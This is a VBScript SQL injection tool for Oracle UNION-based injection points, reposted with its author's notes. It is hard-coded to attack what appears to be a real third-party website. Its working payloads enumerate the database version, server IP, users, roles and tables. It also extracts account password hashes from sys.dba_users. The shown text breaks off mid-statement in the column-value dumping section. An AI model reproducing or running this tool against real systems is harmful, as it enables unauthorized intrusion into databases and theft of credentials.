oracle union 注入工具(vbs版)

     由于书稿中要用到这个工具，所以花了半天时间写的，功能还不全面。只能支持union的注入点。

转载请注明出处：

Made by 孤水绕城

QQ:540410588

BLOG:http://hi.baidu.com/540410588

***********************************************************************************************
oracle union 注入工具 By 孤水绕城
适用于可以使用union的注入点上
***********************************************************************************************
改了Tr4c3的ql2005注射辅助脚本[粗糙版]的框架

Const method = "Get" 提交方式请修改此处,有get和post可选
Const DisPlay = "D" S 保存到文件，D输出到屏幕

Dim strUrl_B, strUrl, MyArray, strArg, strD,tmpStrArg,currcount,num
自己手工判断字段数，然后找出一个字符格式并且可以在网页中显示的位置替换为<**>
strUrl_B = "http://www.sdtheatre.cn/renews.jsp?id=348%20and%201=2%20union%20all%20select%20null,<**>,null,null,null,null,null,null,null,null,null,null" 基于注射点的不确定性，此处请手工更改
currcount = -1
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) 取url
strArg = MyArray(1) 取参数
Set Args = Wscript.Arguments
If Args.Count = 0 Then
showU()
End If
************************************************************************
信息探测
************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))= "info" then
ResuT("The oracle version")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("banner"))
Call sqlInj("%20from%20v$version%20where%201=1%20--","content")
ResuT("The oracle ip")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("sys_context(chr(117)%7C%7Cchr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(110)%7C%7Cchr(118),chr(105)%7C%7Cchr(112)%7C%7Cchr(95)%7C%7Cchr(97)%7C%7Cchr(100)%7C%7Cchr(100)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(115)%7C%7Cchr(115))"))
Call sqlInj("%20%20from%20dual%20where%201=1%20-- ","content")
ResuT("The database")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("name"))
Call sqlInj("%20from%20v$database%20where%20rownum=1%20-- ","content")
ResuT("The database user")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("user"))
Call sqlInj("%20%20from%20user_tables%20where%20rownum=1%20--","content")

ResuT("The database All users")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20all_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("username"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,username%20from%20(select%20rownum%20r,username%20from%20all_users%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1

ResuT("The user PRIVILEGES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_role_privs%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("granted_role"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,granted_role%20from%20(select%20rownum%20r,granted_role%20from%20user_role_privs%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1

ResuT("The SESSION_ROLES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20session_roles%20where%201=1%20-- ","count")
tmpStrArg = Replace(strArg,"<**>",plastr("role"))
For num=0 To currcount
Call sqlInj("%20%20from%20(select%20rownum%20r,role%20from%20(select%20rownum%20r,role%20from%20session_roles%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
Next
currcount = -1
ResuT("The service_names")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("value"))
Call sqlInj("%20from%20v$parameter%20where%20name=chr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(118)%7C%7Cchr(105)%7C%7Cchr(99)%7C%7Cchr(101)%7C%7Cchr(95)%7C%7Cchr(110)%7C%7Cchr(97)%7C%7Cchr(109)%7C%7Cchr(101)%7C%7Cchr(115)%20--","content")

ResuT("The Account Hash ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20sys.dba_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("a"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,a%20from%20(select%20rownum%20r,username%7C%7Cchr(58)%7C%7Cpassword%7C%7Cchr(58)%7C%7Cname%7C%7Cchr(58)%7C%7Cutl_inaddr.get_host_name%7C%7Cchr(58)%20as%20a%20from%20sys.dba_users,sys.v_$database%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
Wscript.Quit
End If
End If
************************************************************************
爆表
************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("All The tables ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tables%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("table_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,table_name%20from%20(select%20rownum%20r,table_name%20from%20user_tables%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If

************************************************************************
爆字段
************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
ResuT(" The cols of "&Args(1))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tab_columns%20where%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("column_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,column_name%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns%20where%20rownum%3C="&num+1&"%20and%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If

************************************************************************
爆字段值
************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="